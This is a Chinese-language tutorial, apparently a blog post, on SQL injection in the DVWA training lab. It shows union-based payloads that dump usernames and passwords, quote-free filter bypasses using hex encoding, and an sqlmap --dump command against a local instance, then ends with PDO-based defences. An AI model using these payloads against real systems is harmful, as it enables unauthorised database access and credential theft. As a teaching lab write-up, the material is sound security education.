DVWA-WEB漏洞系列之SQL注入

1. SQL注入原理和流程

攻击者在HTTP请求中注入恶意的SQL代码,服务器使用参数构建数据库SQL命令时,恶意SQL被一起构造,并在数据库中执行。
在这里插入图片描述
输入恶意的sql语句导致原有的sql语句被改变
在这里插入图片描述
在这里插入图片描述
输入一段sql语句导致原有的开发者写的sql语句发生改变。
在这里插入图片描述

DVWA之SQL注入漏洞

(1)low级别
在这里插入图片描述

query  = "SELECT first_name, last_name FROM users WHERE user_id = '$id';";

$id是用户输入内容

如何判断存在sql注入漏洞:
用户输入数据为 1’ and 1=1#,这时SQL语句发生变化,在原有查询完成后会判断 1=1,如果判断正确则才会有输出[#作用是注释(移除)后续SQL语句]
在这里插入图片描述
想要拿到数据库中的用户数据过程:
1.判断数据库的列数
order by
在用户输入中依次增加order by后面的数据,当在输入为 1’ order by 3#时网页出现报错,证明该数据库有2列/字段
在这里插入图片描述

在这里插入图片描述
2.联合查询其他信息 union select [sql1] [sql2]
SELECT first_name, last_name FROM users WHERE user_id = ‘1’ union select user(),database()#’;
用户输入SQL语句,执行了Mysql内置函数user()和database()
user():返回当前数据库连接用户
database():返回当前数据库名称
在这里插入图片描述
3. 联合查询表

union select table_name,table_schema from information_schema.tables where table_schema='[database_name]'

一个数据库可以看作多个excel表
在DVWA中输入图片中红色代码,从information_schema数据库中查询dvwa数据库表
在这里插入图片描述
出现如下图画面,表示DVWA中有2个表,一个为guestbook,另一个users
在这里插入图片描述

1' union select 1,column_name from information_schema.columns where table_name='users'#
  1. 联合查询信息 union [query_sql]
SELECT first_name, last_name FROM users WHERE user_id = '1' union select user,password from users#'

在dvwa中low级别的对话框中输入1’ union select user,password from users#出现结果如下图所示。
在这里插入图片描述

SQLmap

SQLmap官网:https://sqlmap.org/
下载方法:
1.可下载源代码,直接使用python运行sqlmap.py
2.安装kali,自带sqlmap,可以直接输入sqlmap执行

SQLmap自动化SQL注入利用过程一般如下
第一步:检测漏洞
在这里插入图片描述
出现下图的结果,说明存在sql注入漏洞
在这里插入图片描述
第二步 获取数据库名
在这里插入图片描述
出现结果如图所示:
在这里插入图片描述
第三步:获取指定数据库表
在这里插入图片描述
出现结果如图所示:
在这里插入图片描述
第四步:获取指定数据库列/表项
在这里插入图片描述
在这里插入图片描述

第五步:获取数据

python sqlmap.py -u "http://127.0.0.1/DVWA/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="PHPSESSID=4448pso2ucg5bhs3k874h3n9j5; SL_G_WPT_TO=zh; SL_GWPT_Show_Hide_tmp=1; SL_wptGlobTipTmp=1; security=low" -D dvwa -T users --dump

直接读取users表中的所有数据,可用–dump
在这里插入图片描述
结果如图所示:
在这里插入图片描述

在这里插入图片描述

SQL注入防御

防御命令执行的最高效的方法,就是过滤用户输入内容,不让输入sql语句

(1)DVWA medium转义了特殊字符
在这里插入图片描述

列如:将

SELECT first_name, last_name FROM users WHERE user_id = '1' union select table_name,table_schema from information_schema.talbes where table_schema='users'#'

变为了

SELECT first_name, last_name FROM users WHERE user_id = '1\' union select table_name,table_schema from information_schema.talbes where table_schema=\'users\#'

在输入的’前面都添加了一个\,SQL语句中不存在 \ 这个符号
在这里插入图片描述
渗透测试解决上面的防御方法:
在输入的内容中避免特殊字符的存在

把带‘’的地方进行等价替换,如将’dvwa’ 替换为database()
在mysql中对于查询的value可替换为16进制,如将’dvwa’ 替换为 0x64767761

(2)SQL注入防御high
对于输入长度做了限制
在这里插入图片描述
但缺少传入数据的过滤,无法防御注入漏洞.

SQL注入的防御 impossible级别
防御SQL注入:使用PDO,配合正确的过滤和sql语句就可避免SQL注入漏洞的产生
在这里插入图片描述
(a)过滤
限制输入内容必须为数字
在参数绑定中避免了其他语句的产生
在这里插入图片描述

  • 5
    点赞
  • 30
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

wow2ok

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值